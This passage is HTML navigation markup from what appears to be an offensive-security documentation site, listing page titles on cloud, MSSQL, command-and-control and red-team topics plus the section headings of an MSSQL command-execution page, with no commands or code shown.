<a href="../../cloud/azure/azure-devices-users-sp/" class="md-nav__link">
|
||
|
||
|
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<span class="md-ellipsis">
|
||
Azure AD - IAM
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
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|
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|
||
|
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|
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|
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|
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|
||
<li class="md-nav__item">
|
||
<a href="../../cloud/azure/azure-enumeration/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Azure AD - Enumerate
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
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|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../cloud/azure/azure-persistence/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Azure AD - Persistence
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../cloud/azure/azure-phishing/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Azure AD - Phishing
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../cloud/azure/azure-requirements/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Azure - Requirements
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../cloud/azure/azure-services-application-endpoint/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Azure Services - Application Endpoint
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../cloud/azure/azure-services-application-proxy/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Azure Services - Application Proxy
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../cloud/azure/azure-services-container-registry/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Azure Services - Container Registry
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../cloud/azure/azure-services-deployment-template/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Azure Services - Deployment Template
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../cloud/azure/azure-services-devops/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Azure Services - Azure DevOps
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../cloud/azure/azure-services-keyvault/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Azure Services - KeyVault
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../cloud/azure/azure-services-microsoft-intune/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Azure Services - Microsoft Intune
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../cloud/azure/azure-services-office-365/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Azure Services - Office 365
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../cloud/azure/azure-services-runbook/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Azure Services - Runbook and Automation
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../cloud/azure/azure-services-storage-blob/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Azure Services - Storage Blob
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../cloud/azure/azure-services-virtual-machine/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Azure Services - Virtual Machine
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../cloud/azure/azure-services-web-apps/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Azure Services - Web Apps
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../cloud/azure/azure-services-web-domains/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Azure Services - DNS Suffix
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_4_3" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_4_3" id="__nav_4_3_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Ibm
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="2" aria-labelledby="__nav_4_3_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_4_3">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Ibm
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../cloud/ibm/ibm-cloud-databases/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
IBM Cloud Managed Database Services
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../cloud/ibm/ibm-cloud-object-storage/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
IBM Cloud Object Storage
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_5" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_5" id="__nav_5_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Command control
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_5_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_5">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Command control
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../command-control/cobalt-strike-beacons/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Cobalt Strike - Beacons
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../command-control/cobalt-strike-kits/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Cobalt Strike - Kits
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../command-control/cobalt-strike/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Cobalt Strike
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../command-control/metasploit/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Metasploit
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_6" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_6" id="__nav_6_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Containers
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_6_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_6">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Containers
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../containers/docker/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Docker
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../containers/kubernetes/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Kubernetes
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--active md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_7" checked>
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_7" id="__nav_7_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Databases
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_7_label" aria-expanded="true">
|
||
<label class="md-nav__title" for="__nav_7">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Databases
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../mssql-audit-checks/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
MSSQL - Audit Checks
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--active">
|
||
|
||
<input class="md-nav__toggle md-toggle" type="checkbox" id="__toc">
|
||
|
||
|
||
|
||
|
||
|
||
<label class="md-nav__link md-nav__link--active" for="__toc">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
MSSQL - Command Execution
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<a href="./" class="md-nav__link md-nav__link--active">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
MSSQL - Command Execution
|
||
</span>
|
||
|
||
|
||
</a>
|
||
|
||
|
||
|
||
<nav class="md-nav md-nav--secondary" aria-label="Table of contents">
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<label class="md-nav__title" for="__toc">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Table of contents
|
||
</label>
|
||
<ul class="md-nav__list" data-md-component="toc" data-md-scrollfix>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#summary" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Summary
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#command-execution-via-xp_cmdshell" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Command Execution via xp_cmdshell
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#extended-stored-procedure" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Extended Stored Procedure
|
||
</span>
|
||
</a>
|
||
|
||
<nav class="md-nav" aria-label="Extended Stored Procedure">
|
||
<ul class="md-nav__list">
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#add-the-extended-stored-procedure-and-list-extended-stored-procedures" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Add the extended stored procedure and list extended stored procedures
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#clr-assemblies" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
CLR Assemblies
|
||
</span>
|
||
</a>
|
||
|
||
<nav class="md-nav" aria-label="CLR Assemblies">
|
||
<ul class="md-nav__list">
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#execute-commands-using-clr-assembly" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Execute commands using CLR assembly
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#manually-creating-a-clr-dll-and-importing-it" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Manually creating a CLR DLL and importing it
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#ole-automation" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
OLE Automation
|
||
</span>
|
||
</a>
|
||
|
||
<nav class="md-nav" aria-label="OLE Automation">
|
||
<ul class="md-nav__list">
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#execute-commands-using-ole-automation-procedures" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Execute commands using OLE automation procedures
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#agent-jobs" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Agent Jobs
|
||
</span>
|
||
</a>
|
||
|
||
<nav class="md-nav" aria-label="Agent Jobs">
|
||
<ul class="md-nav__list">
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#execute-commands-through-sql-agent-job-service" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Execute commands through SQL Agent Job service
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#list-all-jobs" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
List All Jobs
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#external-scripts" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
External Scripts
|
||
</span>
|
||
</a>
|
||
|
||
<nav class="md-nav" aria-label="External Scripts">
|
||
<ul class="md-nav__list">
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#python" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Python
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#r" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
R
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#references" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
References
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
</ul>
|
||
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../mssql-credentials/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
MSSQL - Credentials
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../mssql-enumeration/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
MSSQL - Database Enumeration
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../mssql-linked-database/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
MSSQL - Linked Database
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_8" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_8" id="__nav_8_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Devops
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_8_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_8">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Devops
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../devops/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
CI/CD attacks
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../devops/azure-devops/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Azure DevOps
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../devops/buildkite/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
BuildKite
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../devops/circle-ci/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
CircleCI
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../devops/drone-ci/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Drone CI
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../devops/github-actions/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
GitHub Actions
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_9" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_9" id="__nav_9_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Methodology
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_9_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_9">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Methodology
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../methodology/android-applications/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Android Application
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../methodology/bug-hunting-methodology/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Bug Hunting Methodology
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../methodology/source-code-analysis/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Source Code Analysis
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../methodology/vulnerability-reports/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Vulnerability Reports
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_10" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_10" id="__nav_10_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Redteam
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_10_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_10">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Redteam
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_10_1" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_10_1" id="__nav_10_1_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Access
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="2" aria-labelledby="__nav_10_1_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_10_1">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Access
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../redteam/access/attack-surface-enumeration/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Subdomains Enumeration
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../redteam/access/html-smuggling/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
HTML Smuggling
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../redteam/access/initial-access/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Initial Access
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../redteam/access/office-attacks/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Office - Attacks
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../redteam/access/phishing/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Phishing
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../redteam/access/windows-download-execute/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Windows - Download and execute methods
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../redteam/access/windows-using-credentials/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Windows - Using credentials
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_10_2" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_10_2" id="__nav_10_2_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Escalation
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="2" aria-labelledby="__nav_10_2_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_10_2">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Escalation
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../redteam/escalation/linux-privilege-escalation/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Linux - Privilege Escalation
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../redteam/escalation/windows-privilege-escalation/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Windows - Privilege Escalation
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_10_3" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_10_3" id="__nav_10_3_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Evasion
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="2" aria-labelledby="__nav_10_3_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_10_3">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Evasion
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
